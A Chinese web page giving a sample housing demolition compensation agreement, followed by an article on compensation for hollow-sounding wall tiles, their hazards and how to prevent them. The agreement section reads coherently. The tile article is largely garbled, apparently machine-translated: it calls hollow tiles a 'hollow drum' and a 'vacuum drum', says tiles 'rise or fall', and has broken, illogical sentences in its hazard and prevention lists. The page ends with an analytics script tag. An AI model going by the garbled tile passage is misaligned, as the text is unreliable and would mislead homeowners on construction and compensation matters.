房屋拆迁补偿协议书范文参考

日常生活中，房屋拆迁是很常见的现象，一些土地会被国家征收建设、或是集体土地房屋拆迁等等，对于这类房屋拆迁，双方会签订房屋拆迁补偿有关的协议书，大家知道都有什么条款吗?房屋拆迁补偿协议是拆迁人与被拆迁人、房屋承租人为了明确各自的权利和义务而签订的协议，以此约定相关事项的合同，是房屋拆迁双方的法律行为，下面给予一个房屋拆迁补偿协议书范文，供大家参考。房屋拆迁补偿协议书拆迁人(以下称甲方)：被拆迁人(以下称乙方)：根据国家《民法通则》、《合同法》、《土地管理法》及《房屋拆迁条例》的有关规定，经协商一致，甲乙双方现就房屋拆迁补偿事宜达成如下协议：第一条被拆迁人的拆迁房屋座落于路号，建于年，房产证号，房屋建筑面积平方米(地下室面积平方米)，用地性质为划拨用地。第二条甲乙双方经协商后同意，实行拆一还一就地安置的原则，拆迁房建筑面积即为补偿房建筑面积(封闭阳台面积按60%、地下室面积按50%折算建筑面积)。第三条拆迁安置期限(即自乙方搬迁腾空房屋之日起至甲方书面通知交房日止)暂定为32个月，期间按拆迁房每月每平方米5元计算给予拆迁人过渡期安置补助费，按季发放。因甲方原因造成延期交房的，甲方应当继续向乙方支付过渡期安置补助费;提前交房的，过渡期安置补助费也即停付;因乙方原因造成延期交房的，甲方不再向乙方支付过渡期安置补助费。第四条拆迁安置房源为拆迁房原地点或其东面新房的七层以下的房屋。被拆迁人选房办法：乙方在甲方发出书面选房通知三天内到甲方指定地点选房并办理相关手续。拆迁人选房次序以签订本协议书的先后为准。如乙方未在通知日期内选房并办理相关手续的，其后果由乙方自负。第五条乙方的拆迁房屋腾空日期以甲方书面通知日期为准，甲方应提前十天书面通知乙方拆迁房屋腾空日期。经甲方验收合格后交由甲方拆除。第六条拆迁房屋腾空事宜的约定：1、乙方的拆迁房屋腾空并经甲方验收合格后，不得回迁;私自拆除房屋附属物、门窗、水电设施等。否则，甲方有权取消部分或全部乙方的过渡期安置补助费，如给甲方造成损失的，甲方可另行追索。2、拆迁房屋的水电、煤气、物业管理、宽带、电信、有线电视等相关费用均由乙方负责缴纳付清，与甲方无关。3、若乙方在本协议约定的乙方拆迁房屋腾空日期前未履约搬迁，甲方可以向仲裁委员会申请仲裁或向人民法院申请强制执行。第七条本协议签订后，乙方应将房产证、土地证移交给甲方，甲方出具收据。第八条乙方承诺本协议所指拆迁房屋无任何纠纷，房屋权属清楚，相关证件真实、合法、有效。并自愿作出如下保证：本协议所指拆迁房屋的权属完全归本协议之乙方所有，无其他共有人;无转让、继承、分割、抵押;无其他任何影响本协议履行之一切纠纷。如有任何纠纷乙方自愿承担由此产生的一切法律责任。第九条安置房屋由甲方给予统一装修，以利于乙方入住。装修总费用(含税费)不超过每平方米一百五十元人民币(以拆迁面积为准)，装修项目如下：墙面、房顶刮乳胶漆;地面瓷砖;灯具;水龙头，灶台;塑钢玻璃门窗;入户为防盗门。如自己装修，甲方按以上标准给予现金补助。水、电、气、有线电视、电话等安装接通(拆迁人原已有的费用由甲方承担，原没有新增的项目费用由乙方承担)。第十条乙方安置房面积大于拆迁面积的，其不超过10平方米的部分，价格按甲方销售价格的八五折优惠;超过10平方米不超过20平方米的部分，价格按甲方销售价格的九五折优惠;超过20平方米的部分按甲方销售价格计算。该补差房款乙方应于选房时支付。第十一条甲方承诺：免除乙方二年物业管理费，二年后乙方自行支付。第十二条甲方应书面通知乙方交房的日期，现埸交房并办理相关手续。如乙方在甲方书面通知乙方收房日期的15天内仍未到现埸收房的，按该房屋的建筑面积每平方米每天一元的标准向甲方支付房屋交接违约金，自愿承担房屋损毁风险，同时乙方放弃以任何理由、任何方式向甲方提出各种要求的权利。第十三条本协议双方因履行本协议发生争议的，应协商解决，如协商不成，任何一方均有权向人民法院起诉。第十四条本协议甲方签章后，自甲方与有关方面签订土地使用出让合同并取得该块土地使用权之日起生效;乙方签章后即生效。本协议生效后双方均共同遵守，如有违约并造成对方损失的，须负赔偿责任。第十五条本协议书一式四份，甲方执三份，乙方执一份，具有同等法律效力。第十六条本协议书未尽事宜按《补偿方案》相关规定执行。《补偿方案》未作出相关规定的，由甲乙双方另行协商后签订补充协议，补充协议与本协议具有同等法律效力。以上就是房屋拆迁补偿协议书范文的具体介绍，相信大家也阅读清楚了。对于房屋拆迁补偿，关乎我们的各项权利和义务，大家有这方面情况的需要好好地了解具体的内容条款，仔细参考上文的每条内容，在签订合同时心里也比较有底，我们都知道，白纸黑字，合同是具备法律效力的，我们签订合同需要谨慎小心，也避免以后产生一些不必要的麻烦。

房屋墙面空鼓赔偿墙面空鼓的危害

接下来为大家详细的介绍一下房屋墙面空鼓赔偿问题和墙面空鼓的危害。房屋墙面空鼓赔偿问题房屋墙面空鼓赔偿可以找开发商协商。空鼓面积不得大于400平方厘米，且每间不得大于2处。墙面空鼓的危害1.瓷砖容易破碎：空心滚筒内的瓷砖不受力的影响，在受到大的外力时容易折断;2，瓷砖容易升降：空鼓的伸展范围会更大，最终瓷砖会上升或整块下落;3.影响环境卫生：空鼓引起壁内积水和腐烂，发臭，甚至成为害虫如蟑螂藏身之处，这大大影响了环境卫生家;4，增加刺穿壁的困难：在安装橱柜，电器需要钻孔壁，并且一旦有一个真空鼓，穿孔是非常容易折断瓦片5，瓦片落下，伤害：造成真空转鼓最严重的情况是瓷砖，特别是瓷砖外墙的最高位置，因为瓷砖本身如何避免空鼓1.在放置瓷砖之前，检查墙上是否有空鼓。在施加瓷砖之后，墙壁中的空鼓不容易引起真空和瓷砖的下落。2.在铺贴之前先将墙壁浇水，并清除墙壁上的灰尘和污垢。还要检查墙上是否有空鼓。如果墙是空的，砖将直接连接到砖。很长一段时间后，空墙和墙壁会分开。3.浸泡瓷砖。目前，市场上大多数瓷砖都有一定的吸水率，所以所有的砖都必须在铺贴前浸泡一定时间，直到水不再起泡。如果水未被浸泡，则瓷砖将吸收水泥砂浆中的水分，该水泥砂浆易于排空和掉落。4.使用瓷砖粘合剂代替水泥。5，伸缩缝预留足够铺设的瓷砖应预留1.5-5毫米的伸缩缝，如果没有足够的伸缩缝，在热冲击膨胀或潮湿膨胀的影响下，瓷砖可能会发生相邻应力被压缩，导致空鼓现象下降。今天关于房屋墙面空鼓赔偿问题和墙面空鼓的危害问题就介绍到这里了。房屋墙面空鼓赔偿咱们不能疏忽大意。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();